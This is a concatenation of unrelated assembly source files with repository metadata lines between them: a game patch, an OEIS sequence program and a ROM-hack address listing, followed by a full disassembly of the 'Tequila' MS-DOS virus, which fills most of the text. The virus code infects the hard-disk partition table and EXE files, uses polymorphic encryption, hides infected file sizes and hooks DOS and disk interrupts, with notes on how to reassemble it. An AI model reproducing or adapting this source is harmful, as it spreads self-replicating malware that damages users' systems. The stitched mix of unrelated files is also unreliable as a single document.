00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 30.763251 | 2,999 | 0.655984 |
a1948eab2278ecc7658fd2a68bac644ef8387e6e | 835 | asm | Assembly | asm/dos_gergoth_either_side.asm | Iemnur/DSVEdit | 1f52feb6de8a47c7d223a17d739e69bb40aedd3f | [
"MIT"
] | 70 | 2017-02-25T15:06:47.000Z | 2022-03-16T03:05:35.000Z | asm/dos_gergoth_either_side.asm | Iemnur/DSVEdit | 1f52feb6de8a47c7d223a17d739e69bb40aedd3f | [
"MIT"
] | 58 | 2017-03-12T21:34:50.000Z | 2022-01-31T17:22:36.000Z | asm/dos_gergoth_either_side.asm | Iemnur/DSVEdit | 1f52feb6de8a47c7d223a17d739e69bb40aedd3f | [
"MIT"
] | 26 | 2017-03-04T16:35:13.000Z | 2021-11-24T20:52:19.000Z | .nds
.relativeinclude on
.erroronwarning on
; This patch makes Gergoth appear on the right half of his room when the player enters from the left so he's not on top of the player.
.open "ftc/overlay9_36", 022FF9C0h
.org 0x022FFAF0 ; Code in Gergoth's initialization that normally floors him in different ways depending on his var A.
; First we simplify the flooring code (to make room for new code) by always doing the same thing instead of having 4 different possibilities for 4 different var As.
mov r0, 0B0000h
str r0, [r5, 30h] ; Set Gergoth's Y pos to 0xB0.
ldr r0, =020CA95Ch
ldr r0, [r0] ; Load player's X pos.
cmp r0, 80000h ; Check if player came in on the left half of the room.
movlt r0, 0C0000h
strlt r0, [r5, 2Ch] ; Move Gergoth's X pos to 0xC0, close to the right wall.
b 022FFB48h
.pool
.close
| 36.304348 | 166 | 0.730539 |
e1960b2c7733ee1f16e524d68887aa0a63850d6f | 546 | asm | Assembly | programs/oeis/188/A188302.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/188/A188302.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/188/A188302.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A188302: Positions of 1 in A188300; complement of A188301.
; 10,17,27,34,44,51,58,68,75,85,92,99,109,116,126,133,143,150,157,167,174,184,191,198,208,215,225,232,242,249,256,266,273,283,290,297,307,314,324,331,338,348,355,365,372,382,389,396,406,413,423,430,437,447,454,464,471,481,488,495,505,512,522,529,536,546,553,563,570,577,587,594,604,611,621,628,635,645,652,662,669,676,686,693,703,710,720,727,734,744,751,761,768,775,785,792,802,809,819,826
mov $1,$0
seq $1,80754 ; a(n) = ceiling(n*(1+sqrt(2))).
add $0,$1
mul $1,2
add $0,$1
add $0,1
| 54.6 | 389 | 0.705128 |
432956792f991a6e3946d5e8225c37a03d477877 | 1,579 | asm | Assembly | dino/lcs/enemy/AF.asm | zengfr/arcade_game_romhacking_sourcecode_top_secret_data | a4a0c86c200241494b3f1834cd0aef8dc02f7683 | [
"Apache-2.0"
] | 6 | 2020-10-14T15:29:10.000Z | 2022-02-12T18:58:54.000Z | dino/lcs/enemy/AF.asm | zengfr/arcade_game_romhacking_sourcecode_top_secret_data | a4a0c86c200241494b3f1834cd0aef8dc02f7683 | [
"Apache-2.0"
] | null | null | null | dino/lcs/enemy/AF.asm | zengfr/arcade_game_romhacking_sourcecode_top_secret_data | a4a0c86c200241494b3f1834cd0aef8dc02f7683 | [
"Apache-2.0"
] | 1 | 2020-12-17T08:59:10.000Z | 2020-12-17T08:59:10.000Z | copyright zengfr site:http://github.com/zengfr/romhack
03DEC0 move.b D0, ($af,A6)
03DEC4 move.w #$fed4, ($b8,A6)
03DFD8 tst.b ($af,A6)
03DFDC bne $3e064 [enemy+AF]
03E108 tst.b ($af,A6)
03E10C bne $3e14e [enemy+AF]
03F874 move.b #$1, ($af,A6) [enemy+A1]
03F87A move.b #$44, ($6,A6) [enemy+AF]
03F8AC move.b #$1, ($af,A6) [enemy+A1]
03F8B2 move.b #$1c, ($6,A6) [enemy+AF]
03F9BA move.b #$1, ($af,A6) [enemy+A1]
03F9C0 move.b #$24, ($6,A6) [enemy+AF]
03FE66 move.b #$1, ($af,A6) [enemy+A1]
03FE6C move.w #$3c, ($ac,A6) [enemy+AF]
040072 move.b D0, ($af,A6)
040076 jsr $3293c.l
040398 move.b #$1e, ($af,A6) [enemy+B8]
04039E jsr $3140c.l [enemy+AF]
040768 move.b ($af,A6), D0
04076C andi.b #$7, D0 [enemy+AF]
0407BC move.b ($af,A6), D0
0407C0 andi.b #$1, D0 [enemy+AF]
040834 subq.b #1, ($af,A6)
040838 bne $40842 [enemy+AF]
04083C move.b #$a, ($af,A6)
040842 tst.b ($a0,A6) [enemy+AF]
040894 cmpi.b #$1, ($af,A6)
04089A bne $408b8 [enemy+AF]
04FDD4 move.b D0, ($af,A6)
04FDD8 move.b #$ff, ($7d,A6)
04FF38 move.b #$1, ($af,A6)
04FF3E clr.w ($b4,A6) [enemy+AF]
050084 tst.b ($af,A6)
050088 bne $500a6 [enemy+AF]
05009C move.b #$1, ($af,A6)
0500A2 clr.w ($b4,A6) [enemy+AF]
050346 clr.b ($af,A6)
05034A rts [enemy+AF]
0512C4 move.b #$0, ($af,A6)
0512CA move.l #$103c00, ($44,A6)
055898 move.b #$0, ($af,A6) [enemy+87]
05589E move.b #$0, ($59,A6)
0558F4 tst.b ($af,A6)
0558F8 beq $55906
copyright zengfr site:http://github.com/zengfr/romhack
| 32.22449 | 54 | 0.584547 |
d4efee473bc92f712cd44e3f89dd895a4023df3a | 21,346 | asm | Assembly | MSDOS/Virus.MSDOS.Unknown.tequila.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:13.000Z | 2022-03-16T09:11:05.000Z | MSDOS/Virus.MSDOS.Unknown.tequila.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | null | null | null | MSDOS/Virus.MSDOS.Unknown.tequila.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:15.000Z | 2022-01-08T20:51:04.000Z | ;=============================
; the tequila virus =
; a recompilable =
; dis-assembly =
; specifically designed =
; for assembly to a COM file =
; with the A86 assembler. =
; ++++++++++++++++++ =
; If you desire a "perfect" =
; byte for byte source code =
;match-up, the MASM assembler=
; must be used and the noted =
;instructions must be changed=
; to comply with MASM syntax.=
; In addition, all byte and =
;word pointer references must=
; be changed from B and W to =
; BYTE POINTER and WORD =
; POINTER. =
;=============================
CODE_SEG SEGMENT
ASSUME CS:CODE_SEG, DS:CODE_SEG, ES:CODE_SEG, SS:CODE_SEG
ORG 0100
TEQUILA PROC NEAR
JMP START
DB 000, 000, 000, 000, 000, 000, 000, 0FFH, 0FFH
DB 009, 005, 001H, 010H, 000, 000, 002H, 0FAH, 000, 00CH
DB 00DH, 00AH, 00DH, 00AH
DB "Welcome to T.TEQUILA's latest production.", 00DH, 00AH
DB "Contact T.TEQUILA/P.o.Box 543/6312 St'hausen/"
DB "Switzerland.", 00DH, 00AH
DB "Loving thoughts to L.I.N.D.A", 00DH, 00AH, 00DH, 00AH
DB "BEER and TEQUILA forever !", 00DH, 00AH, 00DH, 00AH
DB "$"
DB "Execute: mov ax, FE03 / int 21. Key to go on!"
PROGRAM_TERMINATION_ROUTINE:
PUSH BP
MOV BP,SP
SUB SP,0CH
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DI
PUSH ES
PUSH DS
PUSH CS
POP DS
MOV AX,W[6]
INC AX
JE 0243H ;Masm Mod. Needed
DEC AX
JNE 020DH ;Masm Mod. Needed
DEC W[8] ;Masm Mod. Needed
JNE 0243H ;Masm Mod. Needed
JMP 0246H ;Masm Mod. Needed
MOV AH,02AH
CALL INT_21
MOV SI,CX
MOV CX,W[8]
CMP CL,DL
JNE 022FH ;Masm Mod. Needed
MOV AX,SI
SUB AX,W[6]
MUL B[011H] ;Masm Mod. Needed
ADD AL,DH
ADD CH,3
CMP AL,CH
JAE 0237H ;Masm Mod. Needed
MOV W[6],0FFFFH ;Masm Mod. Needed
JMP 0243H ;Masm Mod. Needed
MOV W[6],0 ;Masm Mod. Needed
MOV W[8],3 ;Masm Mod. Needed
JMP 02DF ;Masm Mod. Needed
MOV BX,0B800H
INT 011
AND AX,030H
CMP AX,030H
JNE 0256H ;Masm Mod. Needed
MOV BX,0B000H
MOV ES,BX
XOR BX,BX
MOV DI,0FD8FH
MOV SI,0FC18H
MOV W[BP-2],SI
MOV W[BP-4],DI
MOV CX,01E
MOV AX,W[BP-2]
IMUL AX
MOV W[BP-8],AX
MOV W[BP-6],DX
MOV AX,W[BP-4]
IMUL AX
MOV W[BP-0C],AX
MOV W[BP-0A],DX
ADD AX,W[BP-8]
ADC DX,W[BP-6]
CMP DX,0F
JAE 02B0 ;Masm Mod. Needed
MOV AX,W[BP-2]
IMUL W[BP-4]
IDIV W[0F] ;Masm Mod. Needed
ADD AX,DI
MOV W[BP-4],AX
MOV AX,W[BP-8]
MOV DX,W[BP-6]
SUB AX,W[BP-0C]
SBB DX,W[BP-0A]
IDIV W[0D] ;Masm Mod. Needed
ADD AX,SI
MOV W[BP-2],AX
LOOP 0269 ;Masm Mod. Needed
INC CX
SHR CL,1
MOV CH,CL
MOV CL,0DB
ES MOV W[BX],CX ;Masm Mod. Needed
INC BX
INC BX
ADD SI,012
CMP SI,01B8
JL 0260 ;Masm Mod. Needed
ADD DI,034
CMP DI,02A3
JL 025D ;Masm Mod. Needed
XOR DI,DI
MOV SI,0BB
MOV CX,02D
CLD
MOVSB
INC DI
LOOP 02D7 ;Masm Mod. Needed
XOR AX,AX
INT 016
POP DS
POP ES
POP DI
POP SI
POP DX
POP CX
POP BX
POP AX
MOV SP,BP
POP BP
RET
PRINT_MESSAGE:
PUSH DX
PUSH DS
PUSH CS
POP DS
MOV AH,9
MOV DX,012
CALL INT_21
POP DS
POP DX
RET
NEW_PARTITION_TABLE:
CLI
XOR BX,BX
MOV DS,BX
MOV SS,BX
MOV SP,07C00
STI
XOR DI,DI
SUB W[0413],3 ;Masm Mod. Needed
INT 012
MOV CL,6
SHL AX,CL
MOV ES,AX
PUSH ES
MOV AX,022A
PUSH AX
MOV AX,0205
MOV CX,W[07C30]
INC CX
MOV DX,W[07C32]
INT 013
RETF
DB 002, 0FE
DB 04C, 0E9
DB 080, 004
PUSH CS
POP DS
XOR AX,AX
MOV ES,AX
MOV BX,07C00
PUSH ES
PUSH BX
MOV AX,0201
MOV CX,W[0226]
MOV DX,W[0228]
INT 013
PUSH CS
POP ES
CLD
MOV SI,0409
MOV DI,09BE
MOV CX,046
REP MOVSB
MOV SI,091B
MOV DI,0A04
MOV CX,045
REP MOVSB
CLI
XOR AX,AX
MOV ES,AX
ES LES BX,[070] ;Masm Mod. Needed
MOV W[09B0],BX ;Masm Mod. Needed
MOV W[09B2],ES ;Masm Mod. Needed
MOV ES,AX
ES LES BX,[084] ;Masm Mod. Needed
MOV W[09B4],BX ;Masm Mod. Needed
MOV W[09B6],ES ;Masm Mod. Needed
MOV ES,AX
ES MOV W[070],044F ;Masm Mod. Needed
ES MOV W[072],DS ;Masm Mod. Needed
STI
RETF
INSTALL:
CALL NEXT_LINE
NEXT_LINE:
POP SI
SUB SI,028F
PUSH SI
PUSH AX
PUSH ES
PUSH CS
POP DS
MOV AX,ES
ADD W[SI+2],AX
ADD W[SI+4],AX
DEC AX
MOV ES,AX
MOV AX,0FE02
INT 021
CMP AX,01FD
JE NO_PARTITION_INFECTION
ES CMP B[0],05A ;Masm Mod. Needed
JNE NO_PARTITION_INFECTION
ES CMP W[3],0BB ;Masm Mod. Needed
JBE NO_PARTITION_INFECTION
ES MOV AX,W[012] ;Masm Mod. Needed
SUB AX,0BB
MOV ES,AX
XOR DI,DI
MOV CX,09A4
CLD
REP MOVSB
PUSH ES
POP DS
CALL INFECT_PARTITION_TABLE
NO_PARTITION_INFECTION:
POP ES
POP AX
PUSH ES
POP DS
POP SI
CS MOV SS,W[SI+4] ;Masm Mod. Needed
CHAIN_TO_THE_HOST_FILE:
CS JMP D[SI] ;Masm Mod. Needed
INFECT_PARTITION_TABLE:
MOV AH,02A
INT 021
MOV W[6],CX ;Masm Mod. Needed
MOV W[8],DX ;Masm Mod. Needed
MOV AH,052
INT 021
ES MOV AX,W[BX-2] ;Masm Mod. Needed
MOV W[03E8],AX ;Masm Mod. Needed
MOV AX,03513
INT 021
MOV W[09A0],BX ;Masm Mod. Needed
MOV W[09A2],ES ;Masm Mod. Needed
MOV AX,03501
INT 021
MOV SI,BX
MOV DI,ES
MOV AX,02501
MOV DX,03DA
INT 021
MOV B[0A],0 ;Masm Mod. Needed
PUSHF
POP AX
OR AX,0100
PUSH AX
POPF
MOV AX,0201
MOV BX,09A4
MOV CX,1
MOV DX,080
PUSH DS
POP ES
PUSHF
CALL D[09A0] ;Masm Mod. Needed
PUSHF
POP AX
AND AX,0FEFF
PUSH AX
POPF
PUSHF
MOV AX,02501
MOV DX,SI
MOV DS,DI
INT 021
POPF
JAE 0450 ;Masm Mod. Needed
JMP RET ;Masm Mod. Needed
PUSH ES
POP DS
CMP W[BX+02E],0FE02
JNE 045C ;Masm Mod. Needed
JMP RET ;Masm Mod. Needed
ADD BX,01BE
MOV CX,4
MOV AL,B[BX+4]
CMP AL,4
JE 0479 ;Masm Mod. Needed
CMP AL,6
JE 0479 ;Masm Mod. Needed
CMP AL,1
JE 0479 ;Masm Mod. Needed
ADD BX,010
LOOP 0463 ;Masm Mod. Needed
JMP SHORT RET ;Masm Mod. Needed
MOV DL,080
MOV DH,B[BX+5]
MOV W[0228],DX ;Masm Mod. Needed
MOV AX,W[BX+6]
MOV CX,AX
MOV SI,6
AND AX,03F
CMP AX,SI
JBE RET ;Masm Mod. Needed
SUB CX,SI
MOV DI,BX
INC CX
MOV W[0226],CX ;Masm Mod. Needed
MOV AX,0301
MOV BX,09A4
PUSHF
CALL D[09A0] ;Masm Mod. Needed
JB RET ;Masm Mod. Needed
DEC CX
MOV W[DI+6],CX
INC CX
SUB W[DI+0C],SI
SBB W[DI+0E],0
MOV AX,0305
MOV BX,0
INC CX
PUSHF
CALL D[09A0] ;Masm Mod. Needed
JB RET ;Masm Mod. Needed
MOV SI,01F6
MOV DI,09A4
MOV CX,034
CLD
REP MOVSB
MOV AX,0301
MOV BX,09A4
MOV CX,1
XOR DH,DH
PUSHF
CALL D[09A0] ;Masm Mod. Needed
RET
NEW_INTERRUPT_ONE:
PUSH BP
MOV BP,SP
CS CMP B[0A],1 ;Masm Mod. Needed
JE 0506 ;Masm Mod. Needed
CMP W[BP+4],09B4
JA 050B ;Masm Mod. Needed
PUSH AX
PUSH ES
LES AX,[BP+2]
CS MOV W[09A0],AX ;Masm Mod. Needed
CS MOV W[09A2],ES ;Masm Mod. Needed
CS MOV B[0A],1
POP ES
POP AX
AND W[BP+6],0FEFF
POP BP
IRET
NEW_INTERRUPT_13:
CMP CX,1
JNE 054E ;Masm Mod. Needed
CMP DX,080
JNE 054E ;Masm Mod. Needed
CMP AH,3
JA 054E ;Masm Mod. Needed
CMP AH,2
JB 054E ;Masm Mod. Needed
PUSH CX
PUSH DX
DEC AL
JE 0537 ;Masm Mod. Needed
PUSH AX
PUSH BX
ADD BX,0200
INC CX
PUSHF
CS CALL D[09A0] ;Masm Mod. Needed
POP BX
POP AX
MOV AL,1
CS MOV CX,W[0226] ;Masm Mod. Needed
CS MOV DX,W[0228] ;Masm Mod. Needed
PUSHF
CS CALL D[09A0] ;Masm Mod. Needed
POP DX
POP CX
RETF 2
CS JMP D[09A0] ;Masm Mod. Needed
NEW_TIMER_TICK_INTERRUPT:
PUSH AX
PUSH BX
PUSH ES
PUSH DS
XOR AX,AX
MOV ES,AX
PUSH CS
POP DS
ES LES BX,[084] ;Masm Mod. Needed
MOV AX,ES
CMP AX,0800
JA 05B0 ;Masm Mod. Needed
CMP AX,W[09B6]
JNE 0575 ;Masm Mod. Needed
CMP BX,W[09B4]
JE 05B0 ;Masm Mod. Needed
MOV W[09B4],BX ;Masm Mod. Needed
MOV W[09B6],ES ;Masm Mod. Needed
XOR AX,AX
MOV DS,AX
CS LES BX,[09B0] ;Masm Mod. Needed
MOV W[070],BX ;Masm Mod. Needed
MOV W[072],ES ;Masm Mod. Needed
LES BX,[04C] ;Masm Mod. Needed
CS MOV W[09A0],BX ;Masm Mod. Needed
CS MOV W[09A2],ES ;Masm Mod. Needed
MOV W[04C],09BE ;Masm Mod. Needed
MOV W[04E],CS ;Masm Mod. Needed
MOV W[084],04B1 ;Masm Mod. Needed
MOV W[086],CS ;Masm Mod. Needed
POP DS
POP ES
POP BX
POP AX
IRET
INT_21_INTERCEPT:
CMP AH,011
JB CHECK_FOR_HANDLE
CMP AH,012
JA CHECK_FOR_HANDLE
CALL ADJUST_FCB_MATCHES
RETF 2
CHECK_FOR_HANDLE:
CMP AH,04E
JB CHECK_FOR_PREVIOUS_INSTALLATION
CMP AH,04F
JA CHECK_FOR_PREVIOUS_INSTALLATION
CALL ADJUST_HANDLE_MATCHES
RETF 2
CHECK_FOR_PREVIOUS_INSTALLATION:
CMP AX,0FE02
JNE CHECK_FOR_MESSAGE_PRINT
NOT AX
IRET
CHECK_FOR_MESSAGE_PRINT:
CMP AX,0FE03
JNE CHECK_FOR_EXECUTE
CS CMP W[6],0 ;Masm Mod. Needed
JNE CHAIN_TO_TRUE_INT_21
CALL PRINT_MESSAGE
IRET
CHECK_FOR_EXECUTE:
CMP AX,04B00
JE SET_STACK
CMP AH,04C
JNE CHAIN_TO_TRUE_INT_21
SET_STACK:
CS MOV W[09A6],SP ;Masm Mod. Needed
CS MOV W[09A8],SS ;Masm Mod. Needed
CLI
PUSH CS
POP SS
MOV SP,0AE5
STI
CMP AH,04C
JNE TO_AN_INFECTION
CALL PROGRAM_TERMINATION_ROUTINE
JMP SHORT NO_INFECTION
TO_AN_INFECTION:
CALL INFECT_THE_FILE
NO_INFECTION:
CLI
CS MOV SS,W[09A8] ;Masm Mod. Needed
CS MOV SP,W[09A6] ;Masm Mod. Needed
STI
JMP SHORT CHAIN_TO_TRUE_INT_21
CHAIN_TO_TRUE_INT_21:
CS INC W[09BC] ;Masm Mod. Needed
CS JMP D[09B4] ;Masm Mod. Needed
NEW_CRITICAL_ERROR_HANDLER:
MOV AL,3
IRET
ADJUST_FCB_MATCHES:
PUSH BX
PUSH ES
PUSH AX
MOV AH,02F
CALL INT_21
POP AX
PUSHF
CS CALL D[09B4] ;Masm Mod. Needed
PUSHF
PUSH AX
CMP AL,0FF
JE 0664 ;Masm Mod. Needed
ES CMP B[BX],0FF ;Masm Mod. Needed
JNE 064F ;Masm Mod. Needed
ADD BX,7
ES MOV AL,B[BX+017] ;Masm Mod. Needed
AND AL,01F
CMP AL,01F
JNE 0664 ;Masm Mod. Needed
ES SUB W[BX+01D],09A4 ;Masm Mod. Needed
ES SBB W[BX+01F],0 ;Masm Mod. Needed
POP AX
POPF
POP ES
POP BX
RET
ADJUST_HANDLE_MATCHES:
PUSH BX
PUSH ES
PUSH AX
MOV AH,02F
CALL INT_21
POP AX
PUSHF
CS CALL D[09B4] ;Masm Mod. Needed
PUSHF
PUSH AX
JB 0691 ;Masm Mod. Needed
ES MOV AL,B[BX+016] ;Masm Mod. Needed
AND AL,01F
CMP AL,01F
JNE 0691 ;Masm Mod. Needed
ES SUB W[BX+01A],09A4 ;Masm Mod. Needed
ES SBB W[BX+01C],0 ;Masm Mod. Needed
POP AX
POPF
POP ES
POP BX
RET
WRITE_TO_THE_FILE:
MOV AH,040
JMP 069C ;Masm Mod. Needed
READ_FROM_THE_FILE:
MOV AH,03F
CALL 06B4 ;Masm Mod. Needed
JB RET ;Masm Mod. Needed
SUB AX,CX
RET
MOVE_TO_END_OF_FILE:
XOR CX,CX
XOR DX,DX
MOV AX,04202
JMP 06B4 ;Masm Mod. Needed
MOVE_TO_BEGINNING_OF_FILE:
XOR CX,CX
XOR DX,DX
MOV AX,04200
CS MOV BX,W[09A4] ;Masm Mod. Needed
INT_21:
CLI
PUSHF
CS CALL D[09B4] ;Masm Mod. Needed
RET
INFECT_THE_FILE:
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DI
PUSH ES
PUSH DS
CALL CHECK_LETTERS_IN_FILENAME
JAE GOOD_NAME
JMP BAD_NAME
GOOD_NAME:
PUSH DX
PUSH DS
PUSH CS
POP DS
SAVE_AND_REPLACE_CRITICAL_ERROR_HANDLER:
MOV AX,03524
CALL INT_21
MOV W[09B8],BX ;Masm Mod. Needed
MOV W[09BA],ES ;Masm Mod. Needed
MOV AX,02524
MOV DX,052A
CALL INT_21
POP DS
POP DX
SAVE_AND_REPLACE_FILE_ATTRIBUTE:
MOV AX,04300
CALL INT_21
CS MOV W[09AA],CX ;Masm Mod. Needed
JAE 06FE ;Masm Mod. Needed
JMP RESTORE_CRIT_HANDLER
MOV AX,04301
XOR CX,CX
CALL INT_21
JB 077C ;Masm Mod. Needed
OPEN_FILE_FOR_READ_WRITE:
MOV AX,03D02
CALL INT_21
JB 0771 ;Masm Mod. Needed
PUSH DX
PUSH DS
PUSH CS
POP DS
MOV W[09A4],AX ;Masm Mod. Needed
GET_FILEDATE:
MOV AX,05700
CALL 06B4 ;Masm Mod. Needed
JB 075C ;Masm Mod. Needed
MOV W[09AC],DX ;Masm Mod. Needed
MOV W[09AE],CX ;Masm Mod. Needed
READ_AND_CHECK_EXE_HEADER:
CALL 06AD ;Masm Mod. Needed
MOV DX,0A49
MOV CX,01C
CALL 069A ;Masm Mod. Needed
JB 075C ;Masm Mod. Needed
PUSH DS
POP ES
MOV DI,0E8
MOV CX,020
CMP W[0A49],05A4D ;Masm Mod. Needed
JNE 075C ;Masm Mod. Needed
MOV AX,W[0A5B]
CLD
REPNE SCASW
JNE 0754 ;Masm Mod. Needed
OR W[09AE],01F ;Masm Mod. Needed
JMP 075C ;Masm Mod. Needed
CALL READ_PAST_END_OF_FILE
JB 075C ;Masm Mod. Needed
CALL ENCRYPT_AND_WRITE_TO_FILE
RESTORE_ALTERED_DATE:
MOV AX,05701
MOV DX,W[09AC]
MOV CX,W[09AE]
CALL 06B4 ;Masm Mod. Needed
CLOSE_THE_FILE:
MOV AH,03E
CALL 06B4 ;Masm Mod. Needed
RESTORE_FILE_ATTRIBUTE:
POP DS
POP DX
MOV AX,04301
CS MOV CX,W[09AA] ;Masm Mod. Needed
CALL INT_21
RESTORE_CRIT_HANDLER:
MOV AX,02524
CS LDS DX,[09B8] ;Masm Mod. Needed
CALL INT_21
BAD_NAME:
POP DS
POP ES
POP DI
POP SI
POP DX
POP CX
POP BX
POP AX
RET
CHECK_LETTERS_IN_FILENAME:
PUSH DS
POP ES
MOV DI,DX
MOV CX,-1
XOR AL,AL
CLD
REPNE SCASB
NOT CX
MOV DI,DX
MOV AX,04353
MOV SI,CX
SCASW
JE 07B7 ;Masm Mod. Needed
DEC DI
LOOP 07A5 ;Masm Mod. Needed
MOV CX,SI
MOV DI,DX
MOV AL,056
REPNE SCASB
JE 07B7 ;Masm Mod. Needed
CLC
RET
STC
RET
READ_PAST_END_OF_FILE:
MOV CX,-1
MOV DX,-0A
CALL 06A8 ;Masm Mod. Needed
MOV DX,0A65
MOV CX,8
CALL 069A ;Masm Mod. Needed
JB RET ;Masm Mod. Needed
CMP W[0A65],0FDF0 ;Masm Mod. Needed
JNE 07F0 ;Masm Mod. Needed
CMP W[0A67],0AAC5 ;Masm Mod. Needed
JNE 07F0 ;Masm Mod. Needed
MOV CX,-1
MOV DX,-9
CALL 06A8 ;Masm Mod. Needed
MOV DX,0A6B
MOV CX,4
CALL 0696 ;Masm Mod. Needed
RET
CLC
RET
ENCRYPT_AND_WRITE_TO_FILE:
CALL MOVE_TO_END_OF_FILE
MOV SI,AX
MOV DI,DX
MOV BX,0A49
MOV AX,W[BX+4]
MUL W[0D] ;Masm Mod. Needed
SUB AX,SI
SBB DX,DI
JAE 080C ;Masm Mod. Needed
JMP OUT_OF_ENCRYPT
MOV AX,W[BX+8]
MUL W[0B] ;Masm Mod. Needed
SUB SI,AX
SBB DI,DX
MOV AX,W[BX+0E]
MOV W[4],AX ;Masm Mod. Needed
ADD W[4],010 ;Masm Mod. Needed
MUL W[0B] ;Masm Mod. Needed
ADD AX,W[BX+010]
SUB AX,SI
SBB DX,DI
JB 083C ;Masm Mod. Needed
SUB AX,080
SBB DX,0
JB RET ;Masm Mod. Needed
ADD W[BX+0E],09B
MOV AX,W[BX+016]
ADD AX,010
MOV W[2],AX ;Masm Mod. Needed
MOV AX,W[BX+014]
MOV W[0],AX ;Masm Mod. Needed
CALL 06A4 ;Masm Mod. Needed
ADD AX,09A4
ADC DX,0
DIV W[0D] ;Masm Mod. Needed
INC AX
MOV W[0A4D],AX ;Masm Mod. Needed
MOV W[0A4B],DX ;Masm Mod. Needed
MOV DX,DI
MOV AX,SI
DIV W[0B] ;Masm Mod. Needed
MOV W[0A5F],AX ;Masm Mod. Needed
MOV BX,DX
ADD DX,0960
MOV W[0A5D],DX ;Masm Mod. Needed
CALL COPY_TO_HIGH_MEMORY_ENCRYPT_WRITE
JB RET ;Masm Mod. Needed
OR W[09AE],01F ;Masm Mod. Needed
MOV BX,W[09BC]
AND BX,01F
SHL BX,1
MOV AX,W[BX+0E8]
MOV W[0A5B],AX ;Masm Mod. Needed
CALL MOVE_TO_BEGINNING_OF_FILE
MOV CX,01C
MOV DX,0A49
WRITE_THE_NEW_HEADER:
CALL 0696 ;Masm Mod. Needed
OUT_OF_ENCRYPT:
RET
COPY_TO_HIGH_MEMORY_ENCRYPT_WRITE:
PUSH BP
XOR AH,AH
INT 01A
MOV AX,DX
MOV BP,DX
PUSH DS
POP ES
MOV DI,0960
MOV SI,DI
MOV CX,020
CLD
REP STOSW
XOR DX,DX
MOV ES,DX
CALL ENCRYPT_STEP_ONE
CALL ENCRYPT_STEP_TWO
CALL ENCRYPT_STEP_THREE
MOV B[SI],0E9
MOV DI,028C
SUB DI,SI
SUB DI,3
INC SI
MOV W[SI],DI
MOV AX,0A04
CALL AX
POP BP
RET
ENCRYPT_STEP_ONE:
DEC BP
ES TEST B[BP],2 ;Masm Mod. Needed
JNE 08EB ;Masm Mod. Needed
MOV B[SI],0E
INC SI
CALL GARBLER
MOV B[SI],01F
INC SI
CALL GARBLER
RET
MOV W[SI],0CB8C
INC SI
INC SI
CALL GARBLER
MOV W[SI],0DB8E
INC SI
INC SI
CALL GARBLER
RET
ENCRYPT_STEP_TWO:
AND CH,0FE
DEC BP
ES TEST B[BP],2 ;Masm Mod. Needed
JE 0920 ;Masm Mod. Needed
OR CH,1
MOV B[SI],0BE
INC SI
MOV W[SI],BX
INC SI
INC SI
CALL GARBLER
ADD BX,0960
TEST CH,1
JE 0934 ;Masm Mod. Needed
MOV B[SI],0BB
INC SI
MOV W[SI],BX
INC SI
INC SI
CALL GARBLER
ADD BX,0960
TEST CH,1
JE 090C ;Masm Mod. Needed
SUB BX,0960
CALL GARBLER
MOV B[SI],0B9
INC SI
MOV AX,0960
MOV W[SI],AX
INC SI
INC SI
CALL GARBLER
CALL GARBLER
RET
ENCRYPT_STEP_THREE:
MOV AH,014
MOV DH,017
TEST CH,1
JE 0958 ;Masm Mod. Needed
XCHG DH,AH
MOV DI,SI
MOV AL,08A
MOV W[SI],AX
INC SI
INC SI
CALL GARBLER
XOR DL,DL
MOV B[0A39],028 ;Masm Mod. Needed
DEC BP
ES TEST B[BP],2 ;Masm Mod. Needed
JE 0978 ;Masm Mod. Needed
MOV DL,030
MOV B[0A39],DL ;Masm Mod. Needed
MOV W[SI],DX
INC SI
INC SI
MOV W[SI],04346
INC SI
INC SI
CALL GARBLER
MOV AX,0FE81
MOV CL,0BE
TEST CH,1
JE 0993 ;Masm Mod. Needed
MOV AH,0FB
MOV CL,0BB
MOV W[SI],AX
INC SI
INC SI
PUSH BX
ADD BX,040
MOV W[SI],BX
INC SI
INC SI
POP BX
MOV B[SI],072
INC SI
MOV DX,SI
INC SI
CALL GARBLER
MOV B[SI],CL
INC SI
MOV W[SI],BX
INC SI
INC SI
MOV AX,SI
SUB AX,DX
DEC AX
MOV BX,DX
MOV B[BX],AL
CALL GARBLER
CALL GARBLER
MOV B[SI],0E2
INC SI
SUB DI,SI
DEC DI
MOV AX,DI
MOV B[SI],AL
INC SI
CALL GARBLER
RET
GARBLER:
DEC BP
ES TEST B[BP],0F ;Masm Mod. Needed
JE RET ;Masm Mod. Needed
DEC BP
ES MOV AL,B[BP] ;Masm Mod. Needed
TEST AL,2
JE 0A0E ;Masm Mod. Needed
TEST AL,4
JE 09F7 ;Masm Mod. Needed
TEST AL,8
JE 09F1 ;Masm Mod. Needed
MOV W[SI],0C789
INC SI
INC SI
JMP RET ;Masm Mod. Needed
MOV B[SI],090
INC SI
JMP RET ;Masm Mod. Needed
MOV AL,085
DEC BP
ES MOV AH,B[BP] ;Masm Mod. Needed
TEST AH,2
JE 0A05 ;Masm Mod. Needed
DEC AL
OR AH,0C0
MOV W[SI],AX
INC SI
INC SI
JMP RET ;Masm Mod. Needed
DEC BP
ES TEST B[BP],2 ;Masm Mod. Needed
JE 0A1A ;Masm Mod. Needed
MOV AL,039
JMP 09F9 ;Masm Mod. Needed
MOV B[SI],0FC
INC SI
RET
MAKE_THE_DISK_WRITE:
